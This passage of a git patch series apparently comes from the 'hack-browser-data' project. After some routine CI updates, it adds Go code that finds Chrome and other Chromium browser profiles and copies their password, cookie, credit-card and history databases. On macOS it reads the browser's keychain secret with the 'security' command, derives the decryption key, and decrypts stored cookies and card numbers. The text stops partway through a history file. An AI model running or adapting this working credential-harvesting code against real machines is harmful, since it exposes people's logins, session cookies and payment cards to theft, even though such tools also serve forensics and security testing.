From b5bf00d2ba6cd082341bc6897e61f9fd82cca44a Mon Sep 17 00:00:00 2001
From: "github-actions[bot]"
<41898282+github-actions[bot]@users.noreply.github.com>
Date: Sun, 19 Dec 2021 01:27:54 +0000
Subject: [PATCH 01/33] chore: update contributors [skip ci]
---
CONTRIBUTORS.svg | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/CONTRIBUTORS.svg b/CONTRIBUTORS.svg
index 60b44d7..15e99db 100644
--- a/CONTRIBUTORS.svg
+++ b/CONTRIBUTORS.svg
@@ -19,7 +19,7 @@
-
+
From 4872ba6714445b249f4fc45d7fb8fd7b8f933ba2 Mon Sep 17 00:00:00 2001
From: "github-actions[bot]"
<41898282+github-actions[bot]@users.noreply.github.com>
Date: Sun, 6 Mar 2022 01:29:31 +0000
Subject: [PATCH 02/33] chore: update contributors [skip ci]
---
CONTRIBUTORS.svg | 8 ++++----
1 file changed, 4 insertions(+), 4 deletions(-)
diff --git a/CONTRIBUTORS.svg b/CONTRIBUTORS.svg
index 15e99db..a9e3679 100644
--- a/CONTRIBUTORS.svg
+++ b/CONTRIBUTORS.svg
@@ -1,7 +1,7 @@
\ No newline at end of file
From 1e0eb81881f61013b4d26dcfb291f20617d3aced Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E1=B4=8D=E1=B4=8F=E1=B4=8F=C9=B4D4=CA=80=E1=B4=8B?=
Date: Sun, 17 Apr 2022 16:39:21 +0800
Subject: [PATCH 03/33] chore: update github workflows go version to 1.18
---
.github/workflows/ci.yml | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
index fc3539c..768bb30 100644
--- a/.github/workflows/ci.yml
+++ b/.github/workflows/ci.yml
@@ -6,7 +6,7 @@ jobs:
runs-on: ubuntu-latest
strategy:
matrix:
- goVer: [1.14, 1.15]
+ goVer: [1.18]
steps:
- name: Set up Go ${{ matrix.goVer }}
@@ -23,7 +23,7 @@ jobs:
go get -v -t -d ./...
go get gopkg.in/check.v1
- name: Build
- run: go build -v .
+ run: go build -v ./...
- name: Format
run: diff -u <(echo -n) <(gofmt -d .)
From d78a68c9571a0cf8e8004bad5ba6c80140ae4f9d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E1=B4=8D=E1=B4=8F=E1=B4=8F=C9=B4D4=CA=80=E1=B4=8B?=
Date: Sun, 17 Apr 2022 16:41:18 +0800
Subject: [PATCH 04/33] chore: update release actions go version to 1.18
---
.github/workflows/release.yml | 17 +++++++++--------
1 file changed, 9 insertions(+), 8 deletions(-)
diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml
index 15f88fb..5963075 100644
--- a/.github/workflows/release.yml
+++ b/.github/workflows/release.yml
@@ -15,7 +15,7 @@ jobs:
- name: Use Golang
uses: actions/setup-go@v1
with:
- go-version: "1.17.2"
+ go-version: "1.18"
-
name: Build with xgo
@@ -25,6 +25,7 @@ jobs:
go_version: ${{ matrix.go_version }}
dest: build
prefix: hack-browser-data
+ pkg: cmd/hack-browser-data
targets: windows/amd64,windows/386,linux/386,linux/amd64,linux/arm,linux/arm64,darwin/amd64
# targets: windows/amd64,windows/386,darwin/amd64,linux/arm
v: true
@@ -35,13 +36,13 @@ jobs:
- name: Set Variable
run: |
- echo "RELEASE_WIN32=hack-browser-data-${{ github.event.release.tag_name}}-windows-32bit" >> $GITHUB_ENV
- echo "RELEASE_WIN64=hack-browser-data-${{ github.event.release.tag_name}}-windows-64bit" >> $GITHUB_ENV
- echo "RELEASE_OSX=hack-browser-data-${{ github.event.release.tag_name}}-osx-64bit" >> $GITHUB_ENV
- echo "RELEASE_LinuxARM=hack-browser-data-${{ github.event.release.tag_name}}-linux-arm" >> $GITHUB_ENV
- echo "RELEASE_Linux386=hack-browser-data-${{ github.event.release.tag_name}}-linux-386" >> $GITHUB_ENV
- echo "RELEASE_LinuxARM64=hack-browser-data-${{ github.event.release.tag_name}}-linux-arm64" >> $GITHUB_ENV
- echo "RELEASE_LinuxAMD64=hack-browser-data-${{ github.event.release.tag_name}}-linux-amd64" >> $GITHUB_ENV
+ echo "RELEASE_WIN32=hack-browser-data-${{ github.event.release.tag_name}}windows-32bit" >> $GITHUB_ENV
+ echo "RELEASE_WIN64=hack-browser-data-${{ github.event.release.tag_name}}windows-64bit" >> $GITHUB_ENV
+ echo "RELEASE_OSX=hack-browser-data-${{ github.event.release.tag_name}}osx-64bit" >> $GITHUB_ENV
+ echo "RELEASE_LinuxARM=hack-browser-data-${{ github.event.release.tag_name}}linux-arm" >> $GITHUB_ENV
+ echo "RELEASE_Linux386=hack-browser-data-${{ github.event.release.tag_name}}linux-386" >> $GITHUB_ENV
+ echo "RELEASE_LinuxARM64=hack-browser-data-${{ github.event.release.tag_name}}linux-arm64" >> $GITHUB_ENV
+ echo "RELEASE_LinuxAMD64=hack-browser-data-${{ github.event.release.tag_name}}linux-amd64" >> $GITHUB_ENV
- name: Build zip
run: |
mv build/hack-browser-data-windows*386.exe "$RELEASE_WIN32".exe
From c8717e30090cba91e792ccc7b0e7e4d95827b7ef Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E1=B4=8D=E1=B4=8F=E1=B4=8F=C9=B4D4=CA=80=E1=B4=8B?=
Date: Fri, 31 Dec 2021 16:50:50 +0800
Subject: [PATCH 05/33] dev-feat: add chromium browser for macos
---
go.mod | 2 +
go.sum | 15 ++
pkg/browser/browser.go | 153 +++++++++++++++++++++
pkg/browser/browser_darwin.go | 101 ++++++++++++++
pkg/browser/browser_test.go | 50 +++++++
pkg/browser/consts/filename.go | 43 ++++++
pkg/browser/consts/sql.go | 1 +
pkg/browser/data/bookmark.go | 64 +++++++++
pkg/browser/data/browsingdata.go | 7 +
pkg/browser/data/cookie.go | 74 ++++++++++
pkg/browser/data/creditcard.go | 56 ++++++++
pkg/browser/data/download.go | 51 +++++++
pkg/browser/data/history.go | 51 +++++++
pkg/browser/data/model.go | 72 ++++++++++
pkg/browser/data/password.go | 81 +++++++++++
pkg/browser/item.go | 117 ++++++++++++++++
pkg/browser/outputter/outputter.go | 81 +++++++++++
pkg/decrypter/decrypt.go | 214 +++++++++++++++++++++++++++++
pkg/decrypter/decrypt_darwin.go | 17 +++
pkg/decrypter/decrypt_linux.go | 17 +++
pkg/decrypter/decrypt_windows.go | 70 ++++++++++
{log => pkg/log}/log.go | 0
22 files changed, 1337 insertions(+)
create mode 100644 pkg/browser/browser.go
create mode 100644 pkg/browser/browser_darwin.go
create mode 100644 pkg/browser/browser_test.go
create mode 100644 pkg/browser/consts/filename.go
create mode 100644 pkg/browser/consts/sql.go
create mode 100644 pkg/browser/data/bookmark.go
create mode 100644 pkg/browser/data/browsingdata.go
create mode 100644 pkg/browser/data/cookie.go
create mode 100644 pkg/browser/data/creditcard.go
create mode 100644 pkg/browser/data/download.go
create mode 100644 pkg/browser/data/history.go
create mode 100644 pkg/browser/data/model.go
create mode 100644 pkg/browser/data/password.go
create mode 100644 pkg/browser/item.go
create mode 100644 pkg/browser/outputter/outputter.go
create mode 100644 pkg/decrypter/decrypt.go
create mode 100644 pkg/decrypter/decrypt_darwin.go
create mode 100644 pkg/decrypter/decrypt_linux.go
create mode 100644 pkg/decrypter/decrypt_windows.go
rename {log => pkg/log}/log.go (100%)
diff --git a/go.mod b/go.mod
index ea581f9..3783eea 100644
--- a/go.mod
+++ b/go.mod
@@ -3,7 +3,9 @@ module hack-browser-data
go 1.14
require (
+ github.com/gocarina/gocsv v0.0.0-20211203214250-4735fba0c1d9
github.com/godbus/dbus/v5 v5.0.3
+ github.com/json-iterator/go v1.1.12
github.com/jszwec/csvutil v1.3.0
github.com/mattn/go-sqlite3 v1.14.9
github.com/ppacher/go-dbus-keyring v1.0.1
diff --git a/go.sum b/go.sum
index 7ef31cd..08103ca 100644
--- a/go.sum
+++ b/go.sum
@@ -1,12 +1,24 @@
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d h1:U+s90UTSYgptZMwQh2aRr3LuazLJIa+Pg3Kc1ylSYVY=
github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
+github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
+github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
+github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
+github.com/gocarina/gocsv v0.0.0-20211203214250-4735fba0c1d9 h1:ptTza/LLPmfRtmz77X+6J61Wyf5e1hz5xYMvRk/hkE4=
+github.com/gocarina/gocsv v0.0.0-20211203214250-4735fba0c1d9/go.mod h1:5YoVOkjYAQumqlV356Hj3xeYh4BdZuLE0/nRkf2NKkI=
github.com/godbus/dbus/v5 v5.0.3 h1:ZqHaoEF7TBzh4jzPmqVhE/5A1z9of6orkAe5uHoAeME=
github.com/godbus/dbus/v5 v5.0.3/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
+github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
+github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM=
+github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo=
github.com/jszwec/csvutil v1.3.0 h1:d0zzXKQYvc22b4La5Wcp97CDgQ7JDLGJLm2NWqJGEYg=
github.com/jszwec/csvutil v1.3.0/go.mod h1:Rpu7Uu9giO9subDyMCIQfHVDuLrcaC36UA4YcJjGBkg=
github.com/mattn/go-sqlite3 v1.14.9 h1:10HX2Td0ocZpYEjhilsuo6WWtUqttj2Kb0KtD86/KYA=
github.com/mattn/go-sqlite3 v1.14.9/go.mod h1:NyWgC/yNuGj7Q9rpYnZvas74GogHl5/Z4A/KQRfk6bU=
+github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421 h1:ZqeYNhU3OHLH3mGKHDcjJRFFRrJa6eAM5H+CtDdOsPc=
+github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
+github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M=
+github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/ppacher/go-dbus-keyring v1.0.1 h1:dM4dMfP5w9MxY+foFHCQiN7izEGpFdKr3tZeMGmvqD0=
@@ -15,6 +27,9 @@ github.com/russross/blackfriday/v2 v2.0.1 h1:lPqVAte+HuHNfhJ/0LC98ESWRz8afy9tM/0
github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/shurcooL/sanitized_anchor_name v1.0.0 h1:PdmoCO6wvbs+7yrJyMORt4/BmY5IYyJwS/kOiWx8mHo=
github.com/shurcooL/sanitized_anchor_name v1.0.0/go.mod h1:1NzhyTcUVG4SuEtjjoZeVRXNmyL/1OwPU0+IJeTBvfc=
+github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
+github.com/stretchr/testify v1.3.0 h1:TivCn/peBQ7UY8ooIcPgZFpTNSz0Q2U6UrFlUfqbe0Q=
+github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
github.com/tidwall/gjson v1.9.3 h1:hqzS9wAHMO+KVBBkLxYdkEeeFHuqr95GfClRLKlgK0E=
github.com/tidwall/gjson v1.9.3/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA=
diff --git a/pkg/browser/browser.go b/pkg/browser/browser.go
new file mode 100644
index 0000000..5173fe7
--- /dev/null
+++ b/pkg/browser/browser.go
@@ -0,0 +1,153 @@
+package browser
+
+import (
+ "fmt"
+ "io/ioutil"
+ "os"
+ "path"
+ "path/filepath"
+ "strings"
+
+ "hack-browser-data/pkg/browser/data"
+)
+
+var (
+ // home dir path not for android and ios
+ homeDir, _ = os.UserHomeDir()
+)
+
+func PickBrowsers(name string) []*chromium {
+ var browsers []*chromium
+ name = strings.ToLower(name)
+ if name == "all" {
+ for _, v := range browserList {
+ b := v.New(v.browserInfo, v.items)
+ browsers = append(browsers, b)
+ }
+ return browsers
+ }
+ if choice, ok := browserList[name]; ok {
+ b := choice.New(choice.browserInfo, choice.items)
+ browsers = append(browsers, b)
+ return browsers
+ }
+ return nil
+}
+
+type chromium struct {
+ browserInfo *browserInfo
+ items []item
+ itemPaths map[item]string
+ masterKey []byte
+}
+
+func (c *chromium) GetProfilePath() string {
+ return c.browserInfo.profilePath
+}
+
+func (c *chromium) GetStorageName() string {
+ return c.browserInfo.storage
+}
+
+func (c *chromium) GetBrowserName() string {
+ return c.browserInfo.name
+}
+
+type firefox struct {
+ browserInfo *browserInfo
+ items []item
+ itemPaths map[item]string
+ masterKey []byte
+}
+
+// NewBrowser 根据浏览器信息生成 Browser Interface
+func newBrowser(browserInfo *browserInfo, items []item) *chromium {
+ return &chromium{
+ browserInfo: browserInfo,
+ items: items,
+ }
+}
+
+func chromiumWalkFunc(items []item, itemPaths map[item]string) filepath.WalkFunc {
+ return func(path string, info os.FileInfo, err error) error {
+ for _, item := range items {
+ if item.DefaultName() == info.Name() && item == chromiumKey {
+ itemPaths[item] = path
+ }
+ if item.DefaultName() == info.Name() && strings.Contains(path, "Default") {
+ itemPaths[item] = path
+ }
+ }
+ return err
+ }
+}
+
+func (c *chromium) walkItemAbsPath() error {
+ var itemPaths = make(map[item]string)
+ absProfilePath := path.Join(homeDir, filepath.Clean(c.browserInfo.profilePath))
+ err := filepath.Walk(absProfilePath, chromiumWalkFunc(defaultChromiumItems, itemPaths))
+ c.itemPaths = itemPaths
+ return err
+}
+
+func (c *chromium) copyItemFileToLocal() error {
+ for item, sourcePath := range c.itemPaths {
+ var dstFilename = item.FileName()
+ locals, _ := filepath.Glob("*")
+ for _, v := range locals {
+ if v == dstFilename {
+ err := os.Remove(dstFilename)
+ // TODO: Should Continue all iteration error
+ if err != nil {
+ return err
+ }
+ }
+ }
+
+ // TODO: Handle read file name error
+ sourceFile, err := ioutil.ReadFile(sourcePath)
+ if err != nil {
+ fmt.Println(err.Error())
+ }
+ err = ioutil.WriteFile(dstFilename, sourceFile, 0777)
+ if err != nil {
+ return err
+ }
+ }
+ return nil
+}
+
+func (c *chromium) GetBrowsingData() []data.BrowsingData {
+ var browsingData []data.BrowsingData
+ for item := range c.itemPaths {
+ if item != chromiumKey {
+ d := item.NewBrowsingData()
+ browsingData = append(browsingData, d)
+ }
+ }
+ return browsingData
+}
+
+type browserInfo struct {
+ name string
+ storage string
+ profilePath string
+ masterKey string
+}
+
+const (
+ chromeName = "Chrome"
+ edgeName = "Edge"
+)
+
+var defaultChromiumItems = []item{
+ chromiumKey,
+ chromiumPassword,
+ chromiumCookie,
+ chromiumBookmark,
+ chromiumHistory,
+ chromiumDownload,
+ chromiumCreditcard,
+ chromiumLocalStorage,
+ chromiumExtension,
+}
diff --git a/pkg/browser/browser_darwin.go b/pkg/browser/browser_darwin.go
new file mode 100644
index 0000000..98f1d43
--- /dev/null
+++ b/pkg/browser/browser_darwin.go
@@ -0,0 +1,101 @@
+package browser
+
+import (
+ "bytes"
+ "crypto/sha1"
+ "errors"
+ "os/exec"
+
+ "golang.org/x/crypto/pbkdf2"
+)
+
+var (
+ browserList = map[string]struct {
+ browserInfo *browserInfo
+ items []item
+ New func(browser *browserInfo, items []item) *chromium
+ }{
+ "chrome": {
+ browserInfo: chromeInfo,
+ items: defaultChromiumItems,
+ New: newBrowser,
+ },
+ // "edge": {
+ // browserInfo: edgeInfo,
+ // items: defaultChromiumItems,
+ // New: newBrowser,
+ // },
+ }
+)
+
+var (
+ ErrWrongSecurityCommand = errors.New("macOS wrong security command")
+)
+
+func (c *chromium) GetMasterKey() ([]byte, error) {
+ var (
+ cmd *exec.Cmd
+ stdout, stderr bytes.Buffer
+ )
+ // $ security find-generic-password -wa 'Chrome'
+ cmd = exec.Command("security", "find-generic-password", "-wa", c.GetStorageName())
+ cmd.Stdout = &stdout
+ cmd.Stderr = &stderr
+ err := cmd.Run()
+ if err != nil {
+ return nil, err
+ }
+ if stderr.Len() > 0 {
+ return nil, errors.New(stderr.String())
+ }
+ temp := stdout.Bytes()
+ chromeSecret := temp[:len(temp)-1]
+ if chromeSecret == nil {
+ return nil, ErrWrongSecurityCommand
+ }
+ var chromeSalt = []byte("saltysalt")
+ // @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157
+ key := pbkdf2.Key(chromeSecret, chromeSalt, 1003, 16, sha1.New)
+ c.masterKey = key
+ return c.masterKey, nil
+
+}
+
+var (
+ chromeInfo = &browserInfo{
+ name: chromeName,
+ storage: chromeStorageName,
+ profilePath: chromeProfilePath,
+ }
+ edgeInfo = &browserInfo{
+ name: edgeName,
+ storage: edgeStorageName,
+ profilePath: edgeProfilePath,
+ }
+)
+
+const (
+ chromeProfilePath = "/Library/Application Support/Google/Chrome/"
+ chromeBetaProfilePath = "/Library/Application Support/Google/Chrome Beta/"
+ chromiumProfilePath = "/Library/Application Support/Chromium/"
+ edgeProfilePath = "/Library/Application Support/Microsoft Edge/"
+ braveProfilePath = "/Library/Application Support/BraveSoftware/Brave-Browser/"
+ operaProfilePath = "/Library/Application Support/com.operasoftware.Opera/"
+ operaGXProfilePath = "/Library/Application Support/com.operasoftware.OperaGX/"
+ vivaldiProfilePath = "/Library/Application Support/Vivaldi/"
+ coccocProfilePath = "/Library/Application Support/Coccoc/"
+ yandexProfilePath = "/Library/Application Support/Yandex/YandexBrowser/"
+
+ fireFoxProfilePath = "/Library/Application Support/Firefox/Profiles/"
+)
+const (
+ chromeStorageName = "Chrome"
+ chromeBetaStorageName = "Chrome"
+ chromiumStorageName = "Chromium"
+ edgeStorageName = "Microsoft Edge"
+ braveStorageName = "Brave"
+ operaStorageName = "Opera"
+ vivaldiStorageName = "Vivaldi"
+ coccocStorageName = "CocCoc"
+ yandexStorageName = "Yandex"
+)
diff --git a/pkg/browser/browser_test.go b/pkg/browser/browser_test.go
new file mode 100644
index 0000000..c92e574
--- /dev/null
+++ b/pkg/browser/browser_test.go
@@ -0,0 +1,50 @@
+package browser
+
+import (
+ "fmt"
+ "testing"
+
+ "hack-browser-data/pkg/browser/outputter"
+)
+
+func TestPickBrowsers(t *testing.T) {
+ browsers := PickBrowsers("all")
+ filetype := "json"
+ dir := "result"
+ output := outputter.NewOutPutter(filetype)
+ if err := output.MakeDir("result"); err != nil {
+ panic(err)
+ }
+ for _, b := range browsers {
+ if err := b.walkItemAbsPath(); err != nil {
+ panic(err)
+ }
+ fmt.Printf("%+v\n", b)
+ if err := b.copyItemFileToLocal(); err != nil {
+ panic(err)
+ }
+ masterKey, err := b.GetMasterKey()
+ if err != nil {
+ fmt.Println(err)
+ }
+ browserName := b.GetBrowserName()
+ multiData := b.GetBrowsingData()
+ for _, data := range multiData {
+ if data == nil {
+ fmt.Println(data)
+ continue
+ }
+ if err := data.Parse(masterKey); err != nil {
+ fmt.Println(err)
+ }
+ filename := fmt.Sprintf("%s_%s.%s", browserName, data.Name(), filetype)
+ file, err := output.CreateFile(dir, filename)
+ if err != nil {
+ panic(err)
+ }
+ if err := output.Write(data, file); err != nil {
+ panic(err)
+ }
+ }
+ }
+}
diff --git a/pkg/browser/consts/filename.go b/pkg/browser/consts/filename.go
new file mode 100644
index 0000000..e193d8a
--- /dev/null
+++ b/pkg/browser/consts/filename.go
@@ -0,0 +1,43 @@
+package consts
+
+// item's default filename
+const (
+ ChromiumKey = "Local State"
+ ChromiumCredit = "Web Data"
+ ChromiumPassword = "Login Data"
+ ChromiumHistory = "History"
+ ChromiumDownload = "History"
+ ChromiumCookie = "Cookies"
+ ChromiumBookmark = "Bookmarks"
+ ChromiumLocalStorage = "chromiumLocalStorage"
+
+ YandexPassword = "Ya PassMan Data"
+ YandexCredit = "Ya Credit Cards"
+
+ FirefoxKey = "key4.db"
+ FirefoxCookie = "cookies.sqlite"
+ FirefoxLogin = "logins.json"
+ FirefoxData = "places.sqlite"
+)
+
+// item's renamed filename
+const (
+ ChromiumKeyFilename = "ChromiumKeyFilename"
+ ChromiumCreditFilename = "ChromiumCreditFilename"
+ ChromiumPasswordFilename = "ChromiumPasswordFilename"
+ ChromiumHistoryFilename = "ChromiumHistoryFilename"
+ ChromiumDownloadFilename = "ChromiumDownloadFilename"
+ ChromiumCookieFilename = "ChromiumCookieFilename"
+ ChromiumBookmarkFilename = "ChromiumBookmarkFilename"
+ ChromiumLocalStorageFilename = "ChromiumLocalStorageFilename"
+
+ YandexPasswordFilename = "YandexPasswordFilename"
+ YandexCreditFilename = "YandexCreditFilename"
+
+ // TODO: add all firefox's filename
+
+ FirefoxKey4DBFilename = "FirefoxKey4DBFilename"
+ FirefoxCookieFilename = "FirefoxCookieFilename"
+ FirefoxLoginFilename = "FirefoxLoginFilename"
+ FirefoxDataFilename = "FirefoxDataFilename"
+)
diff --git a/pkg/browser/consts/sql.go b/pkg/browser/consts/sql.go
new file mode 100644
index 0000000..d709a2b
--- /dev/null
+++ b/pkg/browser/consts/sql.go
@@ -0,0 +1 @@
+package consts
diff --git a/pkg/browser/data/bookmark.go b/pkg/browser/data/bookmark.go
new file mode 100644
index 0000000..1cc517d
--- /dev/null
+++ b/pkg/browser/data/bookmark.go
@@ -0,0 +1,64 @@
+package data
+
+import (
+ "sort"
+
+ "github.com/tidwall/gjson"
+
+ "hack-browser-data/pkg/browser/consts"
+ "hack-browser-data/utils"
+)
+
+type ChromiumBookmark []bookmark
+
+func (c *ChromiumBookmark) Parse(masterKey []byte) error {
+ bookmarks, err := utils.ReadFile(consts.ChromiumBookmarkFilename)
+ if err != nil {
+ return err
+ }
+ r := gjson.Parse(bookmarks)
+ if r.Exists() {
+ roots := r.Get("roots")
+ roots.ForEach(func(key, value gjson.Result) bool {
+ getBookmarkChildren(value, c)
+ return true
+ })
+ }
+ sort.Slice(*c, func(i, j int) bool {
+ return (*c)[i].DateAdded.After((*c)[j].DateAdded)
+ })
+ return nil
+}
+
+func getBookmarkChildren(value gjson.Result, w *ChromiumBookmark) (children gjson.Result) {
+ const (
+ bookmarkID = "id"
+ bookmarkAdded = "date_added"
+ bookmarkUrl = "url"
+ bookmarkName = "name"
+ bookmarkType = "type"
+ bookmarkChildren = "children"
+ )
+ nodeType := value.Get(bookmarkType)
+ bm := bookmark{
+ ID: value.Get(bookmarkID).Int(),
+ Name: value.Get(bookmarkName).String(),
+ URL: value.Get(bookmarkUrl).String(),
+ DateAdded: utils.TimeEpochFormat(value.Get(bookmarkAdded).Int()),
+ }
+ children = value.Get(bookmarkChildren)
+ if nodeType.Exists() {
+ bm.Type = nodeType.String()
+ *w = append(*w, bm)
+ if children.Exists() && children.IsArray() {
+ for _, v := range children.Array() {
+ children = getBookmarkChildren(v, w)
+ }
+ }
+ }
+ return children
+}
+
+func (c *ChromiumBookmark) Name() string {
+ return "bookmark"
+}
diff --git a/pkg/browser/data/browsingdata.go b/pkg/browser/data/browsingdata.go
new file mode 100644
index 0000000..1e4250c
--- /dev/null
+++ b/pkg/browser/data/browsingdata.go
@@ -0,0 +1,7 @@
+package data
+
+type BrowsingData interface {
+ Parse(masterKey []byte) error
+
+ Name() string
+}
diff --git a/pkg/browser/data/cookie.go b/pkg/browser/data/cookie.go
new file mode 100644
index 0000000..d01e411
--- /dev/null
+++ b/pkg/browser/data/cookie.go
@@ -0,0 +1,74 @@
+package data
+
+import (
+ "database/sql"
+ "fmt"
+ "sort"
+
+ "hack-browser-data/pkg/browser/consts"
+ "hack-browser-data/pkg/decrypter"
+ "hack-browser-data/utils"
+)
+
+type ChromiumCookie []cookie
+
+func (c *ChromiumCookie) Parse(masterKey []byte) error {
+ cookieDB, err := sql.Open("sqlite3", consts.ChromiumCookieFilename)
+ if err != nil {
+ return err
+ }
+ defer cookieDB.Close()
+ rows, err := cookieDB.Query(queryChromiumCookie)
+ if err != nil {
+ return err
+ }
+ defer rows.Close()
+ for rows.Next() {
+ var (
+ key, host, path string
+ isSecure, isHTTPOnly, hasExpire, isPersistent int
+ createDate, expireDate int64
+ value, encryptValue []byte
+ )
+ if err = rows.Scan(&key, &encryptValue, &host, &path, &createDate, &expireDate, &isSecure, &isHTTPOnly, &hasExpire, &isPersistent); err != nil {
+ fmt.Println(err)
+ }
+
+ cookie := cookie{
+ KeyName: key,
+ Host: host,
+ Path: path,
+ encryptValue: encryptValue,
+ IsSecure: utils.IntToBool(isSecure),
+ IsHTTPOnly: utils.IntToBool(isHTTPOnly),
+ HasExpire: utils.IntToBool(hasExpire),
+ IsPersistent: utils.IntToBool(isPersistent),
+ CreateDate: utils.TimeEpochFormat(createDate),
+ ExpireDate: utils.TimeEpochFormat(expireDate),
+ }
+ // TODO: replace DPAPI
+ if len(encryptValue) > 0 {
+ if masterKey == nil {
+ value, err = decrypter.DPApi(encryptValue)
+ if err != nil {
+ fmt.Println(err)
+ }
+ } else {
+ value, err = decrypter.ChromePass(masterKey, encryptValue)
+ if err != nil {
+ fmt.Println(err)
+ }
+ }
+ }
+ cookie.Value = string(value)
+ *c = append(*c, cookie)
+ }
+ sort.Slice(*c, func(i, j int) bool {
+ return (*c)[i].CreateDate.After((*c)[j].CreateDate)
+ })
+ return nil
+}
+
+func (c *ChromiumCookie) Name() string {
+ return "cookie"
+}
diff --git a/pkg/browser/data/creditcard.go b/pkg/browser/data/creditcard.go
new file mode 100644
index 0000000..8f356f3
--- /dev/null
+++ b/pkg/browser/data/creditcard.go
@@ -0,0 +1,56 @@
+package data
+
+import (
+ "database/sql"
+ "fmt"
+
+ "hack-browser-data/pkg/browser/consts"
+ "hack-browser-data/pkg/decrypter"
+)
+
+type ChromiumCreditCard []card
+
+func (c *ChromiumCreditCard) Parse(masterKey []byte) error {
+ creditDB, err := sql.Open("sqlite3", consts.ChromiumCreditFilename)
+ if err != nil {
+ return err
+ }
+ defer creditDB.Close()
+ rows, err := creditDB.Query(queryChromiumCredit)
+ if err != nil {
+ return err
+ }
+ defer rows.Close()
+ for rows.Next() {
+ var (
+ name, month, year, guid string
+ value, encryptValue []byte
+ )
+ if err := rows.Scan(&guid, &name, &month, &year, &encryptValue); err != nil {
+ fmt.Println(err)
+ }
+ creditCardInfo := card{
+ GUID: guid,
+ Name: name,
+ ExpirationMonth: month,
+ ExpirationYear: year,
+ }
+ if masterKey == nil {
+ value, err = decrypter.DPApi(encryptValue)
+ if err != nil {
+ return err
+ }
+ } else {
+ value, err = decrypter.ChromePass(masterKey, encryptValue)
+ if err != nil {
+ return err
+ }
+ }
+ creditCardInfo.CardNumber = string(value)
+ *c = append(*c, creditCardInfo)
+ }
+ return nil
+}
+func (c *ChromiumCreditCard) Name() string {
+ return "creditcard"
+}
diff --git a/pkg/browser/data/download.go b/pkg/browser/data/download.go
new file mode 100644
index 0000000..6da51dc
--- /dev/null
+++ b/pkg/browser/data/download.go
@@ -0,0 +1,51 @@
+package data
+
+import (
+ "database/sql"
+ "fmt"
+ "sort"
+
+ "hack-browser-data/pkg/browser/consts"
+ "hack-browser-data/utils"
+)
+
+type ChromiumDownload []download
+
+func (c *ChromiumDownload) Parse(masterKey []byte) error {
+ historyDB, err := sql.Open("sqlite3", consts.ChromiumDownloadFilename)
+ if err != nil {
+ return err
+ }
+ defer historyDB.Close()
+ rows, err := historyDB.Query(queryChromiumDownload)
+ if err != nil {
+ return err
+ }
+ defer rows.Close()
+ for rows.Next() {
+ var (
+ targetPath, tabUrl, mimeType string
+ totalBytes, startTime, endTime int64
+ )
+ if err := rows.Scan(&targetPath, &tabUrl, &totalBytes, &startTime, &endTime, &mimeType); err != nil {
+ fmt.Println(err)
+ }
+ data := download{
+ TargetPath: targetPath,
+ Url: tabUrl,
+ TotalBytes: totalBytes,
+ StartTime: utils.TimeEpochFormat(startTime),
+ EndTime: utils.TimeEpochFormat(endTime),
+ MimeType: mimeType,
+ }
+ *c = append(*c, data)
+ }
+ sort.Slice(*c, func(i, j int) bool {
+ return (*c)[i].TotalBytes > (*c)[j].TotalBytes
+ })
+ return nil
+}
+
+func (c *ChromiumDownload) Name() string {
+ return "download"
+}
diff --git a/pkg/browser/data/history.go b/pkg/browser/data/history.go
new file mode 100644
index 0000000..da38a39
--- /dev/null
+++ b/pkg/browser/data/history.go
@@ -0,0 +1,51 @@
+package data
+
+import (
+ "database/sql"
+ "fmt"
+ "sort"
+
